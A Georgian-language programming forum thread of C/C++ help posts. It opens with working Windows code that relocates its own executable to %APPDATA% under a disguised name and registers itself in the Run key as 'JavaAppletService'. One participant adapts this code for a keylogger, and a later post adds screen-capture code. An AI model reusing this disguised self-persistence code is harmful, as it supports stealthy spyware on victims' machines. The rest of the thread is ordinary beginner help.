როცა C Runtime Library (CRT) იძახებს პროგრამის entrypoint-ს, ამ შემთხვევაში Main() მეთოდს, არგუმენტად ყოველთვის გადაეცემა საკუთარი მისამართი (საიდანაც გაეშვა) და დამატებით სხვა არაფერი.
მეორე გაშვებაზე პროგრამა შვილობილ პროცესს ქმნის Winapi-ს СreateProcess მეთოდით, რომელსაც დამატებით არგუმენტად აყოლებს "init" სტრინგს.
ამ სტრინგის შემოწმებით პროგრამა ადგენს პირველად იყო გაშვებული თუ მეორედ, ამის მიხედვით მოქმედებს.


Main მეთოდის კოდი

CODE
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
LPTSTR argv = GetCommandLine(); //Get command line arguments passed to process
CheckCommandLineArgs(argv); //Check em'


MSG msg;
BOOL bRet;

//Useless loop, doing it in Windows Desktop application so that it doesn't shut downs
while ((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
{  
 if(msg.message == "WM_QUIT")
 {
  exit(1);
 }
}
}



Startup.c კოდი

CODE

/*functi0n checks command line arguments
If program was launched for first time, it calls Initialize() method,
if it was second time, it calls Startup() method and writes itself to registry
"init" is key argument here*/
void CheckCommandLineArgs(LPTSTR arguments) {
if (strcmp(arguments, "init") == 0) {
 HANDLE hThread = CreateThread(NULL, 0, Startup, NULL, 0, NULL);
 if (hThread == NULL) {
  ExitProcess(1);
 }
}
else {
 Initialize();
}
}


void Initialize() {

    /*Structures used for CreateProcess*/
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescr1ptor = NULL;
sa.bInheritHandle = TRUE;

/*Current path of our executable */
CHAR currentPath[MAX_PATH];
DWORD pathSize = GetModuleFileName(NULL, currentPath, MAX_PATH);
/*Get path to %APPDATA% folder, append file name to path
File will be moved from current directory into new directory with new filename */
char *appdata = getenv("APPDATA");
char  appdataPath[MAX_PATH];
strcpy(appdataPath, appdata);
strcat(appdataPath, "\\");
strcat(appdataPath, "javasccompiler.###");

//Try to move file
while (!MoveFileA(currentPath, appdataPath)) {
 DeleteFile(appdataPath);
}

/*This command line argument will be passed to child process
Child process determines that it should skip this functi0n and run startup functi0n using this argument*/
char arg[] = "init";

//Create child process
BOOL createProc = CreateProcessA(appdataPath, arg, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
if (!createProc) {
#ifdef DEBUG
 MessageBoxA(NULL, "Failed to Create process", "Error", MB_OK);
#endif // DEBUG
 ExitProcess(1);
}
//Close handles to child process main thread and process
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
ExitProcess(1); //Kill our current process, so child process can perform it's work now
}

int _stdcall Startup()
{

/*Registry startup keys, doesn't require administrator privileges*/
HKEY root = HKEY_CURRENT_USER;
char *key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";

/*Get our new path in %APPDATA%*/
CHAR currentPath[MAX_PATH];
DWORD pathSize = GetModuleFileName(NULL, currentPath, MAX_PATH);

/*Try to open registry key*/
if (RegOpenKey(root, key,&root) != ERROR_SUCCESS) {
#ifdef DEBUG
 MessageBoxA(NULL, "RegOpenKey failed", "Error", MB_OK);
#endif // DEBUG
 RegCloseKey(root);
 return 0;
}

/*Try to add our file to system startup*/
if (RegSetValueEx(root, "JavaAppletService", 0, REG_SZ, (LPBYTE)currentPath, sizeof(currentPath))  != ERROR_SUCCESS)
{
#ifdef DEBUG
 MessageBoxA(NULL, "RegSetValue failed", "Error", MB_OK);
#endif // DEBUG
 RegCloseKey(root);
 return 0;
}

/*Free registry key handle*/
RegCloseKey(root);
return 1;
}

Posted by: mardukgeorgia 19 Dec 2017, 17:49
ბიჭური მადლობა გადავხედავ თუ ვერ გავიგებ მოგწერ ;დ
გადასროლისას საიდანაც ვუშვებთ იქ ქრება? ანუ დესკტოპზე რო ჩავრთო ექსე გაქრება დესკტოპიდან და აპპდათაში გადავა?
და რა ბიბლიოთეკებს იყენებ?

Posted by: ბიჭური 19 Dec 2017, 17:53
mardukgeorgia

კი, დესკტოპიდან გაქრება ეგრევე და აპპდატაში გაჩნდება სახელით javacccompiler.e x e

Posted by: mardukgeorgia 19 Dec 2017, 19:10
ამას გამოყენება მინდა მარა არ წერს რეგისტრში და ვერ ვხვდბეი რატო

QUOTE


#include <stdio.h>
#include <windows.h>
using namespace std;
int main() {
HKEY hkey;
LONG regOpenResult;
const char PATH[] = "C:\\gio\\gio.###";
regOpenResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
  0,
  KEY_ALL_ACCESS,
  &hkey);
RegSetValueEx(hkey,
  "gio", 0, REG_SZ, (BYTE*)PATH, strlen(PATH));
RegCloseKey(hkey);
return 0;
}


Posted by: ბიჭური 19 Dec 2017, 19:18
mardukgeorgia

HKEY_LOCAL_MACHINE-ში ჩასაწერად გჭირდება ადმინისტრატორის უფლებები. Run as Admin სცადე, აბა.

CODE
და ვერ ვხვდბეი რატო


როცა Windows API ფუნქციებს იძახებ, ყოველთვის შეამოწმე დაბრუნებული შედეგი.
ზემოთ ნახე როგორ მიწერია.

შეცდომის შემთხვევაში გააკეთე

CODE
std::cout << GetLastError() << std::endl


GetLastError ფუნქცია აბრუნებს ბოლოს გამოძახებული ფუნქციის დროს მომხდარი შეცდომის Error code-ს. შეგიძლია შემდეგ დაგუგლო ეს კოდი და ნახო რამ გამოიწვია შეცდომა.
GetLastError() ყოველთვის უნდა გამოიძახო მანამ, სანამ სხვა ფუნქციას გამოიყენებ, წინააღმდეგ შემთხვევაში სხვა ფუნქციაში დაფიქსირებული შეცდომა "გადეწერება" წინა შეცდომას old.gif
შეცდომის კოდები ბრუნდება იმ ნაკადში, სადაც ეშვება. ყველა ცალკეულ ნაკადს აქვს საკუთარი მეხსიერების სივრცე სადაც error კოდები, errno და ა.შ და ა.შ ეს ყველაფერი ინახება (TLS, Thread Local storage).

Posted by: mardukgeorgia 19 Dec 2017, 19:25
მადლობა ვცდი
.....................................

Posted by: ბიჭური 19 Dec 2017, 19:49
murdukgeorgia

CODE


The operation completed successfully.


არის 0.
შედი msconfig-ში და ნახე თუ დაემატა რამე.

CODE
if(regOpenResult != ERROR_SUCCESS) {
std::cout << GetLastError() << std::endl;
}


ასე უნდა შეამოწმო პირველი გამოძახება და ყველა ფუნქციის გამოძახება ზოგადად როგორც ზემოთ დავწერე. GetLastError ყოველი ფუნქციის შემდეგ უნდა შეამოწმო (თუ შეცდომა მოხდა და if-ი ვერ გაიარა).

RegOpenKey აბრუნებს ERROR_SUCCESS-ს თუ სწორად იმუშავა. სხვა ფუნქციამ შეიძლება სხვა რამე დააბრუნოს.
ამიტომ MSDN-ზე უნდა ნახო რას აბრუნებს კონკრეტული ფუნქცია და მაგის მიხედვით შეამოწმო

Posted by: mardukgeorgia 19 Dec 2017, 19:51
ესე 0 რო წერს ეს ნიშნავს რო ბოლო ხაზში არ იყო შეცდომა თუ საერთოდ კოდში ?
user posted image
* * *
user posted image

...................................
* * *
იცი რა მაინტერესებს აქ კი გამოდის ყველაფერი რაც მინდა აკოპირებს ტავის ტავს და იმ გადაკოპირებულის მისამარტს ვწერ რეგისტრში
მარა აქ
C:\\Users\\pc\\Desktop\\keylogger.### აქ pc არის ჩემი კომპის სახელი და გამოდის და ისე ხო არ იცი რო სადაც არ უნდ აგავხსნა თავის თავი რო დააკოპიროს სხვაგან
შენი კოდი ვნახე მარა ვერ ვკითხულობ ჯერ მაგდენს ;დ
user posted image

Posted by: ბიჭური 19 Dec 2017, 20:43
mardukgeorgia

CODE
keylogger. e x e


ოოოოო... Stop right there!
ვსო, საკმარისად დაგეხმარე, დანარჩენი შენით გაარკვიე, ჯერ პროგრამირება ისწავლე კარგად სანამ ქეილოგერების წერას დაიწყებ.

» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «




Posted by: mardukgeorgia 19 Dec 2017, 20:52
ვსწავლობ ;დ
ეს ლოგერი ისე მოვიფიქრე თორე ზოგადად მაინტერესებდა როგორ აირჩიოს ფაილის ლოკაცია ავტომატურად ;დ
გავარკვიე წერტილი დომებია ;დ
.\\file.###

Posted by: ბიჭური 19 Dec 2017, 22:11
mardukgeorgia

:დ

კაი ხო
ბოლო რჩევას მოგცემ თორე მაღიზიანებს რომ ვუყურებ

ჩაჰარდკოდებული ნუ გაქვს მისამართი.

CODE

char path[MAX_PATH];  // MAX_PATH არის 256
GetModuleFileName(NULL, path, MAX_PATH);


მოერიდე ე.წ magic string-ების გამოყენებას და კონსტანტებს რომლებშიც ჩაჰარდკოდებული გაქვს ყველაფერი.
GetModuleFileName ფუნქცია თვითონ იპოვის აქტუალურ მისამართს (საიდანაც გაშვებულია პროგრამა) და ბუფერში ჩაწერს. მერე მაგას გამოიყენებ ყველგან, ზემოთ ნახე როგორ მაქვს გაკეთებული

boli.gif

Posted by: mardukgeorgia 20 Dec 2017, 01:10
QUOTE (ბიჭური @ 19 Dec 2017, 22:11 )
mardukgeorgia

:დ

კაი ხო
ბოლო რჩევას მოგცემ თორე მაღიზიანებს რომ ვუყურებ

ჩაჰარდკოდებული ნუ გაქვს მისამართი.

CODE

char path[MAX_PATH];  // MAX_PATH არის 256
GetModuleFileName(NULL, path, MAX_PATH);


მოერიდე ე.წ magic string-ების გამოყენებას და კონსტანტებს რომლებშიც ჩაჰარდკოდებული გაქვს ყველაფერი.
GetModuleFileName ფუნქცია თვითონ იპოვის აქტუალურ მისამართს (საიდანაც გაშვებულია პროგრამა) და ბუფერში ჩაწერს. მერე მაგას გამოიყენებ ყველგან, ზემოთ ნახე როგორ მაქვს გაკეთებული

boli.gif

მერე კარგად ჩავუჯდები შენ კოდს ;დ ისე
სოკეტები კარგად იცი?
..................................................................

Posted by: All Shall Perish 1 Jan 2018, 20:21
ც ++ ის სწავლა მინდა

მაქვს ტექსტური რედაქტორი

MinGW.org ზე შევდივარ და ვიწერ mingw-get-setup ამას და ვაინსტალირებ

მერე საჭიროა The GNU C++ Compiler ის ინსტალაცია და ვერ მოვძებნე ამის მუშა საინსტალაციო და იქნებ დამეხმაროთ

https://radikal.ru

https://c.radikal.ru/c12/1801/9c/9d910d85ed94.png

კონტროლ პანელი> სისტემა>ადვანსედ სისტემ სეთინგ>ენვირონმენტ ვარიაბლე> და აქ TEMP და TMP არის
მხოლოდ PATH არარის და PATH იმიტომ არ არის რომ The GNU C++ Compiler ვერ დავაინსტალირე?

Posted by: შაქროII 15 Jan 2018, 02:50
ეგ მოძველებულია .. წაშალე
ესაა ახალი
https://sourceforge.net/projects/mingw-w64/

https://sf.net/p/mingw-w64/files/Toolchains%20targetting%20Win32/Personal%20Builds/mingw-builds/installer/mingw-w64-install.###/download

იდედ გამოიყენე
http://www.codeblocks.org/

ან
https://downloads.codelite.org/

კოდებლოკთან გაითვალისწინე
თუ ხელით დააყენე მინგვი მაშინ მნიგვიანი კოდებლოკის
ჩამოქაჩვა არ გინდა

თუ არადა არ გინდა მინგვის დაყენება კოდებლოკთან ერთად შეგიძლია ჩამოქაჩო და თვითონ დააყენებს ყველაფერს

http://www.codeblocks.org/downloads/binaries

Posted by: Irakli2013 22 May 2018, 13:40
შემოდის რაღაც რიცხვი და ჩვენ უნდა დავაბრუნოთ მისი შებრუნებული ვარიანტი

მსგავს ამოცანაში აუცილებელია რომ პასუხი 1 მთელი რიცხვით დავაბრუნოთ თუ ასეც "წავა"?

CODE
#include <iostream>
#include <cstdlib>
int reverseInt (int num){
   num = abs(num);
   std::cout<<num%10;
   if (num/10==0) {
           return 0;
   }
   reverseInt(num/10);


}


int main () {
int n;
std::cin>>n;

int absN = abs(n);
if (absN!=n){
   std::cout<<"-";
}
reverseInt(n);
}


უარყოფითი რიცხვებ მიფუჭებენ ძალიან საქმეს sad.gif

Posted by: Roofus 22 May 2018, 18:54
Irakli2013
QUOTE
უარყოფითი რიცხვებ მიფუჭებენ ძალიან საქმეს

სავარაუდოდ იმიტომ რომ int-ის მაგივრად long უნდა გამოიყენო... რახან int-ში არ შედის უარყოფითები მგონი C++ ში.

Posted by: Perl 22 May 2018, 19:21
QUOTE (Roofus @ 22 May 2018, 18:54 )
Irakli2013
QUOTE
უარყოფითი რიცხვებ მიფუჭებენ ძალიან საქმეს

სავარაუდოდ იმიტომ რომ int-ის მაგივრად long უნდა გამოიყენო... რახან int-ში არ შედის უარყოფითები მგონი C++ ში.

uaryofiti cifrebi yvela tipshi shedis ar aqvs mnishvneloba es int ia tu long char tu sxva ( da aseve programul enasac ar aqvs mnishvneloba, c -is ojaxs romeli programuli enebic miekutvneba yvelgan analogiurad aris tipebis agnishvnis metodi), avtomaturad es tipebi signed ad agiqmeba , signed nishnavs uaryofiti nishnebis agmnishvnels unsigned nishnavs mxolod dadebit mnishvnelobas , uaryofiti imito ar aisaxeba mand ro abs funqcia gamoiyeneba ...

Posted by: Irakli2013 22 May 2018, 20:06
Roofus
QUOTE
სავარაუდოდ იმიტომ რომ int-ის მაგივრად long უნდა გამოიყენო... რახან int-ში არ შედის უარყოფითები მგონი C++ ში.


არა. სხვა რაღაცას ვგულისხმობდი

უარყოფითი რიცხვი რომ შემოდის იძულებული ვარ მოდულში ავიყვანო და ისე ვყო ათზე, რომ ყოველ მაგალითად -12345 როცა შემოდის -5-4-3-2-1 არ გამოიტანოს ფუნქციამ

და მერე ცალკე char-ის სახით ვწერ წინ "-" სიმბოლოს

და მე მაინტერესებდა, შეიძლება თუ არა ისეთნაირად დაიწეროს, რომ ერთი მთლიანი რიცხვის სახით გამოდიოდეს პასუხი

Posted by: Perl 22 May 2018, 21:38
QUOTE (Irakli2013 @ 22 May 2018, 20:06 )
Roofus
QUOTE
სავარაუდოდ იმიტომ რომ int-ის მაგივრად long უნდა გამოიყენო... რახან int-ში არ შედის უარყოფითები მგონი C++ ში.


არა. სხვა რაღაცას ვგულისხმობდი

უარყოფითი რიცხვი რომ შემოდის იძულებული ვარ მოდულში ავიყვანო და ისე ვყო ათზე, რომ ყოველ მაგალითად -12345 როცა შემოდის -5-4-3-2-1 არ გამოიტანოს ფუნქციამ

და მერე ცალკე char-ის სახით ვწერ წინ "-" სიმბოლოს

და მე მაინტერესებდა, შეიძლება თუ არა ისეთნაირად დაიწეროს, რომ ერთი მთლიანი რიცხვის სახით გამოდიოდეს პასუხი

int n = 54321, reversedNumber = 0, remainder;


while(n != 0)
{
remainder = n%10;
reversedNumber = reversedNumber*10 + remainder;
n /= 10;
}

cout << reversedNumber << endl;

Posted by: eterna2000 8 Jun 2018, 19:16
ც++ ში დესკტოპს ვუღებს ფოტოს ვაკეთებ ამას Bitmap ით მარა ცუდი ისაა რო რაც უფრო დიდია ეკრანის ზომა მით უფრო მეტია ფაილის ზომა ერთი ფოტო საღაც 5 მბ მდეა და მინდა რო მახსიმალურად დავაპატარაო რამე სოლუშენი მითხარით ან თქვენი რამე მარტივი სკრიპტი ან არა და ჩემი აკინძული ესაა პ;დ

#include<Windows.h>

BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
{
HDC hDC;
int iBits;
WORD wBitCount;
DWORD dwPaletteSize = 0, dwBmBitsSize = 0, dwDIBSize = 0, dwWritten = 0;
BITMAP Bitmap0;
BITMAPFILEHEADER bmfHdr;
BITMAPINFOHEADER bi;
LPBITMAPINFOHEADER lpbi;
HANDLE fh, hDib, hPal, hOldPal2 = NULL;
hDC = CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
iBits = GetDeviceCaps(hDC, BITSPIXEL) * GetDeviceCaps(hDC, PLANES);
DeleteDC(hDC);
if (iBits <= 1)
wBitCount = 1;
else if (iBits <= 4)
wBitCount = 4;
else if (iBits <= 8)
wBitCount = 8;
else
wBitCount = 24;
GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0);
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = Bitmap0.bmWidth;
bi.biHeight = -Bitmap0.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = wBitCount;
bi.biCompression = BI_RGB;
bi.biSizeImage = 0;
bi.biXPelsPerMeter = 0;
bi.biYPelsPerMeter = 0;
bi.biClrImportant = 0;
bi.biClrUsed = 256;
dwBmBitsSize = ((Bitmap0.bmWidth * wBitCount + 31) & ~31) / 8
* Bitmap0.bmHeight;
hDib = GlobalAlloc(GHND, dwBmBitsSize + dwPaletteSize + sizeof(BITMAPINFOHEADER));
lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
*lpbi = bi;

hPal = GetStockObject(DEFAULT_PALETTE);
if (hPal)
{
hDC = GetDC(NULL);
hOldPal2 = SelectPalette(hDC, (HPALETTE)hPal, FALSE);
RealizePalette(hDC);
}


GetDIBits(hDC, hBitmap, 0, (UINT)Bitmap0.bmHeight, (LPSTR)lpbi + sizeof(BITMAPINFOHEADER)
+ dwPaletteSize, (BITMAPINFO *)lpbi, DIB_RGB_COLORS);

if (hOldPal2)
{
SelectPalette(hDC, (HPALETTE)hOldPal2, TRUE);
RealizePalette(hDC);
ReleaseDC(NULL, hDC);
}

fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);

if (fh == INVALID_HANDLE_VALUE)
return FALSE;

bmfHdr.bfType = 0x4D42; // "BM"
dwDIBSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwPaletteSize + dwBmBitsSize;
bmfHdr.bfSize = dwDIBSize;
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize;

WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);

WriteFile(fh, (LPSTR)lpbi, dwDIBSize, &dwWritten, NULL);
GlobalUnlock(hDib);
GlobalFree(hDib);
CloseHandle(fh);
return TRUE;
}

int main()
{
int x1, y1, x2, y2, w, h;
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
y1 = GetSystemMetrics(SM_YVIRTUALSCREEN);
x2 = GetSystemMetrics(SM_CXVIRTUALSCREEN);
y2 = GetSystemMetrics(SM_CYVIRTUALSCREEN);
w = x2 - x1;
h = y2 - y1;

HDC hScreen = GetDC(NULL);
HDC hDC = CreateCompatibleDC(hScreen);
HBITMAP hBitmap = CreateCompatibleBitmap(hScreen, w, h);
HGDIOBJ old_obj = SelectObject(hDC, hBitmap);
BOOL bRet = BitBlt(hDC, 0, 0, w, h, hScreen, x1, y1, SRCCOPY);


SaveHBITMAPToFile(hBitmap,"test.jpeg");

SelectObject(hDC, old_obj);
DeleteDC(hDC);
ReleaseDC(NULL, hScreen);
DeleteObject(hBitmap);
}



Posted by: gugaGve 25 Jul 2018, 23:23
პროების განყოფილება სხვაგანა ძმაო ეს რა კოდი გაშალე lol.gif lol.gif ჩვენ ნუბები ვართ ამ საკითხში yes.gif

Posted by: @Schizophrenic 28 Sep 2018, 22:14
პატარა ამოცანაში დამეხმარეთ
მომხმარებელმა შემოიყვანა რაღაც სიმბოლო. განსაზღვრეთ ამ სიმბოლოს კატეგორია(მაგ: სასვენი ნიშანი, რიცხვი თუ სხვა).
ეს როგორ უნდა გავაკეთო?

Posted by: eterna2000 29 Sep 2018, 08:46
QUOTE (@Schizophrenic @ 28 Sep 2018, 22:14 )
პატარა ამოცანაში დამეხმარეთ
მომხმარებელმა შემოიყვანა რაღაც სიმბოლო. განსაზღვრეთ ამ სიმბოლოს კატეგორია(მაგ: სასვენი ნიშანი, რიცხვი თუ სხვა).
ეს როგორ უნდა გავაკეთო?

ასკით გამოვა წესით
......................................

Posted by: @Schizophrenic 29 Sep 2018, 12:13
eterna2000
მადლობა

სხვა გზაც თუ იცით ვინმემ დაწერეთ რა

Posted by: Irakli2013 29 Sep 2018, 15:21
@Schizophrenic

ესე არ გამოვა?


CODE
#include <typeinfo>
...
cout << typeid(variableName).name() << endl;



წყარო: https://stackoverflow.com/questions/11310898/how-do-i-get-the-type-of-a-variable

Posted by: @Schizophrenic 29 Sep 2018, 16:16
Irakli2013
მადლობა, შევეშვი ნერვები მომიშალა biggrin.gif
უბრალოდ რაღაც ვერ გავიგე როგორ უნდა გაარჩიოს მაგალითად სიმბოლო ' , ' რო სასვენი ნიშანია და ' a ' რომ ასოა. იმასაც ვერ ვხვდები cin>>ით რომ რამე შემოყავს მომხმარებელს ცვლადი ხო მინდა სადაც დავიმახსოვრებ და თუარ ვიცი რა ტიპის მნიშვნელობა შემოყავს რის მიხედვით უნდა შევქმნა ცვლადი?
მომიტევეთ ბრადცი ძაან ნუბი ვარრ sad.gif sad.gif

Posted by: eterna2000 29 Sep 2018, 16:38
QUOTE (@Schizophrenic @ 29 Sep 2018, 16:16 )
Irakli2013
მადლობა, შევეშვი ნერვები მომიშალა biggrin.gif
უბრალოდ რაღაც ვერ გავიგე როგორ უნდა გაარჩიოს მაგალითად სიმბოლო ' , ' რო სასვენი ნიშანია და ' a ' რომ ასოა. იმასაც ვერ ვხვდები cin>>ით რომ რამე შემოყავს მომხმარებელს ცვლადი ხო მინდა სადაც დავიმახსოვრებ და თუარ ვიცი რა ტიპის მნიშვნელობა შემოყავს რის მიხედვით უნდა შევქმნა ცვლადი?
მომიტევეთ ბრადცი ძაან ნუბი ვარრ sad.gif sad.gif

ასკის დროს ინტიც შეიძლება რარაც ესეთ ვარიანტში



#include<iostream>
#include<windows.h>

using namespace std;


void main()
{
char a;
cin>>a;

if (int(a)>=33 && int(a)<=47 || int (a)>=58 && int(a)<=64 || int(a)<=91 && int(a)>=96)
cout<<"Simbolo"<<endl;
else if (int(a)>=48 && int(a)<=57)
cout<<"Cifri"<<endl;
else if ((int(a)>=65 && int(a)<=90)|| (int(a)>=97 && int(a)<=122))
cout<<"Aso"<<endl;


cout<<"ASCII ->> "<<int(a)<<endl;
cin.get();
cin.get();
cin.get();
}

Posted by: @Schizophrenic 29 Sep 2018, 17:56
eterna2000
გაიხარე, კარგად მუშაობს. სასვენი ნიშნები რო განასხვავოს სხვა სიმბოლოებისგან ეგეც მივხვდი ახლა როგორ უნდა გავაკეთო. მადლობა კიდევ ერთხელ


Posted by: ibo 8 Oct 2018, 17:22
გამარჯობა პროგრამისტებო,

ვინმეს შეგიძლიათ ამიხსნათ რას ნიშნავს ეს ორი წერტილი ამ კოდში
auto region : processData.getRegions(globalCurveNominalData.ccy)

ეს Auto როგორც VBA-ში ვარიანტ მასეა ხო?

Posted by: ბიჭური 8 Oct 2018, 17:30
ibo

auto არის type inference, ანუ როცა არ გიწევს ცვლადის/იტერატორის ან სხვა ელემენტის კონკრეტული ტიპის მითითება და კომპილატორი თავისით ხვდება.
ანალოგიური ქივორდი არსებობს მაგალითად სი-შარპში, კერძოდ var.

auto i = 10; //კომპილატორი მიხვდება რომ i = int
auto b = "blablabla" //std::string

ანალოგიურად С#-ში

CODE

List<Dictionary<string, string>> somevаlue = new List<Dictionary<string, string>>
ნაცვლად წერ

CODE
var somevаlue = new   new List<Dictionary<string, string>>

Posted by: ibo 8 Oct 2018, 17:35
ბიჭური

დიდი მადლობა, გასაგებია yes.gif

ორი წერტილი რა დროს გამოიყენება და რას ნიშნავს ეგეც ხომ არ იცი? smile.gif ორჯერ ორი წერტილი ნეიმსფეისიდან ნიშნავს ცვლადის წამოღებას მარა ერთხელ ორი წერტილი ვერ მივხვდი რა არის sad.gif

Posted by: ბიჭური 8 Oct 2018, 17:58
ibo

range-based ციკლში გამოიყენება როგორც წესი.
მაგალითად

CODE
for(auto region : processData.getRegions(globalCurveNominalData.ccy)) {
   std::cout << region << std::endl;
}


მსგავსი კოდი წერია?

ანუ ეს ორი წერტილი ნიშნავს იმას რომ processData.getRegions-ის მიერ დაბრუნებულ რეგიონებს ამუშავებ ციკლში

Posted by: ibo 8 Oct 2018, 18:03
ბიჭური
QUOTE
მსგავსი კოდი წერია?

ანუ ეს ორი წერტილი ნიშნავს იმას რომ processData.getRegions-ის მიერ დაბრუნებულ რეგიონებს ამუშავებ ციკლში

კი ეგაა მადლობა გაიხარე!

Posted by: ბიჭური 8 Oct 2018, 18:11
ibo

არაფრის smile.gif

----------------------------------

Posted by: Shredinger 8 Oct 2018, 19:37
ბიჭური
არის ფინანსური მოგების კუთხით მომგებიანი დოთ ნეტი? smile.gif

Posted by: ბიჭური 10 Oct 2018, 10:49
QUOTE (Shredinger @ 8 Oct 2018, 19:37 )
ბიჭური
არის ფინანსური მოგების კუთხით მომგებიანი დოთ ნეტი? smile.gif

ყრია მაგის ვაკანსიები და რატომ არ არის მომგებიანი თუ კარგად იცი? vik.gif

Posted by: Dixtosa 10 Oct 2018, 21:16
QUOTE
არის ფინანსური მოგების კუთხით მომგებიანი დოთ ნეტი?

ფინანსურად არამგონია მარა საშუალო ბედნიერების კუთხით ჯობია : D

Posted by: Echo Zvana 20 Oct 2018, 16:57
DEV C++ს ვიყენებ და მოულოდნელად შეექმნა პრობლემა: კოდს არ უშვებს. ამას მიწერს და ხოარ იცით როგორ გამოვასწორო?
user posted image

Posted by: koshogio 20 Oct 2018, 17:11
Echo Zvana
ფოლდერის სახელი არ შეიძლება სფეისებს შეიცავდეს, სიტყვები ქვედა ტირეთი შეაერთეთ.

Posted by: Echo Zvana 21 Oct 2018, 02:50
koshogio
მადლობა, მაგრამ სამწუხაროდ არ შველის :X
სანამ ეს პრობლემა გაჩნდებოდა იქამდე არ ჰქონია პრობლემა სფეისებიანი სახელის მქონე ფოლდერზე.
* * *
გავარკვიე რაშიც იყო პრობლემა. თუ ვინმეს შეგექმნებათ ანალოგიური პრობლემა, როგორიც ზემოთ დავწერე, ანტივირუსის გათიშვა სცადეთ facepalm.gif
..........................................................................................................................................................................................................................................................................................................................................................................................

Posted by: nesiz 26 Oct 2018, 22:13
წიფა ხელპ რა. კოდეფორსეში რომ ვუშვებ მესამე ტესტზე არასწორიაო.
http://codeforces.com/gym/101883/problem/C
CODE

#include <stdio.h>
#include <ctype.h>
#include <string.h>


#define MAXS 20 // max sentence
#define MAXW 25 // max word int sentence
#define MAXC 40 // max char in word

#define MAXCHAR 200

//prototypes
void takeinp2(char data[MAXS][MAXCHAR], int);
void fetchinp(const char[MAXS][MAXCHAR], char[MAXS][MAXW][MAXC], const int);
void process_fetched_data(char[MAXS][MAXW][MAXC], const int);
void display_data(char(*)[MAXW][MAXC],char[MAXS][MAXCHAR],const int);


int main() {
char fetched_data[MAXS][MAXW][MAXC] = { 0 };
char data[MAXS][MAXCHAR] = { 0 };

char outp[MAXS][MAXCHAR] = { 0 };

int T = 0; // number of sentence
scanf("%d", &T), T++;
takeinp2(data, T);
fetchinp(data, fetched_data, T);
process_fetched_data(fetched_data, T);
display_data(fetched_data, outp,T);

//getchar();
return 0;
}

void takeinp2(char data[MAXS][MAXCHAR], int T) {
for (int i = 0; i <T; i++)
 gets(*(data + i));


}

void fetchinp(const char  inp[MAXS][MAXCHAR], char outp[MAXS][MAXW][MAXC], const int T) {
for (int i = 0; i < T; i++) {
 for (int curr_char = 0, word_count = 0, chinwc = 0; curr_char < MAXCHAR; curr_char++)
 {
  if (*(*(inp + i) + curr_char) != ' ')
   outp[i][word_count][chinwc++] = tolower(*(*(inp + i) + curr_char));
  else if (*(*(inp + i) + curr_char - 1) != ' ') outp[i][word_count++][chinwc + 1] = 0, chinwc = 0;
 }
}
}
void process_fetched_data(char data[MAXS][MAXW][MAXC], const int T) {
for (int i = 0, begin_sent = 1; i < T; i++, begin_sent = 1) {
 for (int k = 0; k < MAXW; k++) {
  if (*(data[i][k]) != 0) {
   for (int n = 0, lim_n = strlen(data[i][k]), first_char = *data[i][k]; n < lim_n; n++)
   {
    data[i][k][n] = (data[i][k][n + 1]) ? (data[i][k][n + 1])
     : ( data[i][k][n + 1] = 'a', data[i][k][n + 2] = 'y',
     *data[i][k] = begin_sent?(begin_sent = 0, toupper(*data[i][k])) : *data[i][k], first_char);
   }
  }
  else break;
 }
}
}
void display_data(char data[MAXS][MAXW][MAXC], char out[MAXS][MAXCHAR], const int T) {
for (int i = 0; i < MAXS; i++){
 for (int k = 0; k < MAXW; k++)
  if(*data[i][k]) strcat(out[i],strcat(data[i][k], " "));
    if(**data[i])
       printf("%s\n",out[i]);
   }
}


Posted by: Echo Zvana 28 Oct 2018, 15:13
nesiz
ასეთი კითხვები ამ თემაში დაპოსტე https://forum.ge/?f=48&showtopic=34898706&st=45. უმჯობესია, ამოხსნის სიტყვიერი ახსნაც მოაყოლო. კოდი ცუდად წაკითხვადია, რადგან ცარიელ სივრცეებს არ იყენებ სწორად (ერთ სვეტში არ უნდა იწყებოდეს/მთავრდებოდეს მეთოდი და ამ მეთოდში ჩაწერილი კოდი, მაგალითად "void takeinp2...." და მის ქვემოთ ეგრევე "for(int i=0....". ასევე, როგორც ვხვდები, space-ებით აკონტროლებ ხაზის შეწევა-გამოწევას, tab გამოიყენე).

Posted by: Dixtosa 2 Nov 2018, 23:02
Echo Zvana
QUOTE
DEV C++ს ვიყენებ

y? just y?

Posted by: Echo Zvana 3 Nov 2018, 12:33
Dixtosa
y not? კომფორტულია.

Posted by: Dixtosa 3 Nov 2018, 13:05
Echo Zvana
მიჩვეული ხარ და მაგიტოა კომფორტული. VS communityის რით ჯობია?

Posted by: Echo Zvana 3 Nov 2018, 13:25
Dixtosa
Visual Studio-თი დავიწყე და მაგას ვიყავი მიჩვეული, მაგრამ შემდეგ ეს უფრო მომეწონა.

Posted by: Dixtosa 3 Nov 2018, 17:54
Echo Zvana
